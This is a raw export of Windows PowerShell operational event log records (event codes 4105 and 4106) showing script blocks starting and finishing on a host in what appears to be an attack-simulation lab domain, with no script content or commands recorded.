Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050195
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050189
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050167
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050165
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050164
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050147
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
